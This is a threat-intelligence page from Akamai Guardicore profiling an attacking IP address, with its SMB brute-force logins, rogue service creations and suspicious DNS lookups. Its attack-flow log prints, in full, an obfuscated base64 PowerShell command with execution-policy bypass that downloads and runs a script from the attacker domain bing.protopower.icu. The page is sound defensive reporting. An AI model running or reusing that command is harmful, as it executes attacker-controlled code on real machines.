Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 117.212.203.134Malicious

IP Address: 117.212.203.134Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

File Operation By CMD Successful SMB Login Service Creation Listening Service Start PowerShell DNS Query Scheduled Task Creation Access Suspicious Domain CMD SMB Share Connect IDS - A Network Trojan was detected SMB SMB Null Session Login

Associated Attack Servers

bing.protopower.icu

Basic Information

IP Address

117.212.203.134

Domain

-

ISP

-

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2024-02-26

Last seen in Akamai Guardicore Segmentation

2024-02-26

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

c:\windows\system32\services.exe installed and started as a service named lrDo under service group None

Service Start Service Creation

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBpAG4AZwAuAHAAcgBvAHQAbwBwAG8AdwBlAHIALgBpAGMAdQAvAGMAbwBrADkALgBqAHMAJwApAA== was scheduled to run by modifying C:\Windows\System32\Tasks\AutFree

Process netsvcs Service Group started listening on ports: 65531 and 65532

Listening

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 20 times

Successful SMB Login

c:\windows\system32\services.exe installed and started as a service named hAXD under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named mXbR under service group None

Service Start Service Creation

IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

c:\windows\system32\services.exe installed and started as a service named zezA under service group None

Service Start Service Creation

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: bing.protopower.icu

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed and started as a service named degG under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named hqSV under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named uaeI under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named Ggct under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named njuO under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named xsgv under service group None

Service Start Service Creation

c:\windows\system32\services.exe installed and started as a service named YYIW under service group None

Service Start Service Creation

Connection was closed due to timeout

c:\windows\system32\services.exe installed as a service named hiWz under service group None

Service Creation